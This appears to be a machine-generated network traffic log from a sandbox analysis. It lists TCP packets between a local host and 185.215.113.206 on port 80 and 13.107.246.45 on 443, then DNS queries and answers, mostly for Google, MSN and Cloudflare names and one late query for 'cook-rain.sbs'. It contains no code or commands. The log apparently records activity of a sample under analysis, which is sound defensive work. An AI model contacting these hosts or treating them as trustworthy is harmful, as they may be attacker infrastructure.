Nov 17, 2024 01:38:53.941540956 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:53.941560030 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:53.941576004 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:53.941592932 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:53.941596985 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:53.941617966 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:53.941634893 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:53.941641092 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:53.941648006 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:53.941662073 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:53.941662073 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:53.941679001 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:53.941688061 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:53.941688061 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:53.941694021 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:53.941715956 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:53.941715956 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:53.941971064 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.010349989 CET	443	56817	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:54.010380983 CET	443	56817	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:54.010421991 CET	443	56817	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:54.010457039 CET	56817	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:54.010571957 CET	56817	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:54.010727882 CET	56817	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:54.010727882 CET	56817	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:54.010736942 CET	443	56817	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:54.010744095 CET	443	56817	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:54.012402058 CET	443	56818	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:54.012800932 CET	443	56818	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:54.013128996 CET	56818	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:54.013214111 CET	56818	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:54.013214111 CET	56818	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:54.013258934 CET	443	56818	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:54.013286114 CET	443	56818	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:54.013637066 CET	56826	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:54.013668060 CET	443	56826	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:54.015002966 CET	56826	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:54.015269041 CET	56826	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:54.015290022 CET	443	56826	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:54.015419960 CET	56827	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:54.015435934 CET	443	56827	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:54.015539885 CET	56827	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:54.015721083 CET	56827	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:54.015731096 CET	443	56827	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:54.039900064 CET	443	56819	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:54.040482998 CET	56819	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:54.040488958 CET	443	56819	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:54.040777922 CET	56819	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:54.040781021 CET	443	56819	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:54.055901051 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.055919886 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.055938005 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.055967093 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.055967093 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.056029081 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.056107044 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.056123018 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.056138992 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.056164980 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.056164980 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.056224108 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.056240082 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.056248903 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.056257010 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.056272030 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.056278944 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.056288004 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.056302071 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.056318045 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.056324959 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.056324959 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.056333065 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.056349039 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.056356907 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.056356907 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.056364059 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.056385994 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.056385994 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.056389093 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.056405067 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.056408882 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.056421995 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.056428909 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.056466103 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.056466103 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.056564093 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.056581020 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.056597948 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.056607008 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.056613922 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.056623936 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.056631088 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.056633949 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.056648016 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.056655884 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.056669950 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.056759119 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.056775093 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.056787968 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.056792021 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.056807041 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.056817055 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.056817055 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.056823015 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.056828976 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.056838989 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.056844950 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.056860924 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.056864977 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.056879997 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.056895018 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.056901932 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.056906939 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.056922913 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.056929111 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.056938887 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.056955099 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.056961060 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.057008028 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.057008028 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.057060003 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.057082891 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.057099104 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.057105064 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.057113886 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.057127953 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.057143927 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.057154894 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.057159901 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.057182074 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.057182074 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.057229042 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.057245016 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.057252884 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.057260036 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.057274103 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.057282925 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.057291985 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.057303905 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.057313919 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.057317972 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.057333946 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.057337999 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.057356119 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.057365894 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.057390928 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.057511091 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.057538986 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.057555914 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.057569027 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.057584047 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.057593107 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.057593107 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.057600021 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.057614088 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.057622910 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.057622910 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.057631016 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.057636976 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.057657003 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.057688951 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.057704926 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.057718039 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.057730913 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:54.057744980 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:54.057746887 CET	80	49911	185.215.113.206	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 17, 2024 01:38:28.375621080 CET	192.168.2.6	1.1.1.1	0xfe8	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:38:28.375896931 CET	192.168.2.6	1.1.1.1	0xcd99	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 17, 2024 01:38:33.079277992 CET	192.168.2.6	1.1.1.1	0x1289	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:38:33.079427958 CET	192.168.2.6	1.1.1.1	0x41c9	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 17, 2024 01:38:34.080594063 CET	192.168.2.6	1.1.1.1	0x8a93	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:38:34.080878973 CET	192.168.2.6	1.1.1.1	0x4719	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 17, 2024 01:38:38.481211901 CET	192.168.2.6	1.1.1.1	0xe26f	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:38:38.717372894 CET	192.168.2.6	1.1.1.1	0x4d5d	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 17, 2024 01:38:40.114671946 CET	192.168.2.6	1.1.1.1	0xc53	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:38:40.114814043 CET	192.168.2.6	1.1.1.1	0xccda	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 17, 2024 01:38:40.661514997 CET	192.168.2.6	1.1.1.1	0xd33a	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:38:40.661706924 CET	192.168.2.6	1.1.1.1	0xa66e	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 17, 2024 01:38:41.913820028 CET	192.168.2.6	1.1.1.1	0x720f	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:38:41.917440891 CET	192.168.2.6	1.1.1.1	0x4025	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 17, 2024 01:38:41.931734085 CET	192.168.2.6	1.1.1.1	0x7f9e	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:38:41.931850910 CET	192.168.2.6	1.1.1.1	0xbc8c	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 17, 2024 01:38:41.936388016 CET	192.168.2.6	1.1.1.1	0xc8c3	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:38:41.936753035 CET	192.168.2.6	1.1.1.1	0xbe5	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 17, 2024 01:38:41.943525076 CET	192.168.2.6	1.1.1.1	0x9a3c	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:38:41.943669081 CET	192.168.2.6	1.1.1.1	0x4d2c	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 17, 2024 01:38:43.164849997 CET	192.168.2.6	1.1.1.1	0xd9dd	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:38:43.165338039 CET	192.168.2.6	1.1.1.1	0xddde	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 17, 2024 01:38:43.165714979 CET	192.168.2.6	1.1.1.1	0x9da6	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:38:43.165939093 CET	192.168.2.6	1.1.1.1	0xc6f	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 17, 2024 01:38:43.182069063 CET	192.168.2.6	1.1.1.1	0x2f68	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:38:43.182069063 CET	192.168.2.6	1.1.1.1	0x946a	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 17, 2024 01:38:43.270019054 CET	192.168.2.6	1.1.1.1	0x2b4d	Standard query (0)	18.31.95.13.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Nov 17, 2024 01:38:48.409101009 CET	192.168.2.6	1.1.1.1	0x8646	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:38:48.440661907 CET	192.168.2.6	1.1.1.1	0x6306	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:38:50.284349918 CET	192.168.2.6	1.1.1.1	0x6e82	Standard query (0)	browser.events.data.msn.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:38:50.329346895 CET	192.168.2.6	1.1.1.1	0x5611	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:38:50.334587097 CET	192.168.2.6	1.1.1.1	0x6d52	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:38:52.354749918 CET	192.168.2.6	1.1.1.1	0xd5d6	Standard query (0)	r.msftstatic.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:39:48.485629082 CET	192.168.2.6	1.1.1.1	0x7af4	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:40:13.824919939 CET	192.168.2.6	1.1.1.1	0x1899	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 17, 2024 01:38:28.382210970 CET	1.1.1.1	192.168.2.6	0xfe8	No error (0)	www.google.com		142.250.185.68	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:38:28.382446051 CET	1.1.1.1	192.168.2.6	0xcd99	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 17, 2024 01:38:33.085783005 CET	1.1.1.1	192.168.2.6	0x1289	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 01:38:33.085783005 CET	1.1.1.1	192.168.2.6	0x1289	No error (0)	plus.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:38:33.086659908 CET	1.1.1.1	192.168.2.6	0x41c9	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 01:38:34.087641001 CET	1.1.1.1	192.168.2.6	0x8a93	No error (0)	play.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:38:38.488223076 CET	1.1.1.1	192.168.2.6	0xe26f	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 01:38:38.724581957 CET	1.1.1.1	192.168.2.6	0x4d5d	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 01:38:39.076344013 CET	1.1.1.1	192.168.2.6	0x8e8f	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 01:38:39.076344013 CET	1.1.1.1	192.168.2.6	0x8e8f	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:38:39.076488972 CET	1.1.1.1	192.168.2.6	0x5b34	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 01:38:40.121695042 CET	1.1.1.1	192.168.2.6	0xc53	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 01:38:40.121762037 CET	1.1.1.1	192.168.2.6	0xccda	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 01:38:40.668201923 CET	1.1.1.1	192.168.2.6	0xd33a	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 01:38:40.668201923 CET	1.1.1.1	192.168.2.6	0xd33a	No error (0)	googlehosted.l.googleusercontent.com		142.250.185.65	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:38:40.669056892 CET	1.1.1.1	192.168.2.6	0xa66e	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 01:38:41.921818018 CET	1.1.1.1	192.168.2.6	0x720f	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:38:41.921818018 CET	1.1.1.1	192.168.2.6	0x720f	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:38:41.921818018 CET	1.1.1.1	192.168.2.6	0x720f	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:38:41.921818018 CET	1.1.1.1	192.168.2.6	0x720f	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:38:41.939620018 CET	1.1.1.1	192.168.2.6	0x7f9e	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 01:38:41.940073967 CET	1.1.1.1	192.168.2.6	0xbc8c	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 01:38:41.944731951 CET	1.1.1.1	192.168.2.6	0xc8c3	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 01:38:41.944915056 CET	1.1.1.1	192.168.2.6	0xbe5	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 01:38:41.951514006 CET	1.1.1.1	192.168.2.6	0x9a3c	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 01:38:41.951528072 CET	1.1.1.1	192.168.2.6	0x4d2c	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 01:38:42.877203941 CET	1.1.1.1	192.168.2.6	0x5ef3	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 01:38:42.877203941 CET	1.1.1.1	192.168.2.6	0x5ef3	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:38:42.877934933 CET	1.1.1.1	192.168.2.6	0x41cd	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 01:38:43.171605110 CET	1.1.1.1	192.168.2.6	0xd9dd	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:38:43.171605110 CET	1.1.1.1	192.168.2.6	0xd9dd	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:38:43.172180891 CET	1.1.1.1	192.168.2.6	0xddde	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 17, 2024 01:38:43.172326088 CET	1.1.1.1	192.168.2.6	0x9da6	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:38:43.172326088 CET	1.1.1.1	192.168.2.6	0x9da6	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:38:43.172920942 CET	1.1.1.1	192.168.2.6	0xc6f	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 17, 2024 01:38:43.188781977 CET	1.1.1.1	192.168.2.6	0x2f68	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:38:43.188781977 CET	1.1.1.1	192.168.2.6	0x2f68	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:38:43.188836098 CET	1.1.1.1	192.168.2.6	0x946a	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 17, 2024 01:38:43.302999020 CET	1.1.1.1	192.168.2.6	0x2b4d	Name error (3)	18.31.95.13.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Nov 17, 2024 01:38:44.347361088 CET	1.1.1.1	192.168.2.6	0xd563	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 01:38:44.347361088 CET	1.1.1.1	192.168.2.6	0xd563	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:38:44.347706079 CET	1.1.1.1	192.168.2.6	0x130d	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 01:38:48.416825056 CET	1.1.1.1	192.168.2.6	0x8646	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 01:38:48.447273016 CET	1.1.1.1	192.168.2.6	0x6306	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 01:38:48.958082914 CET	1.1.1.1	192.168.2.6	0x62e6	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 01:38:48.958082914 CET	1.1.1.1	192.168.2.6	0x62e6	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 17, 2024 01:38:50.291219950 CET	1.1.1.1	192.168.2.6	0x6e82	No error (0)	browser.events.data.msn.com	global.asimov.events.data.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 01:38:50.336029053 CET	1.1.1.1	192.168.2.6	0x5611	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 01:38:50.341214895 CET	1.1.1.1	192.168.2.6	0x6d52	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
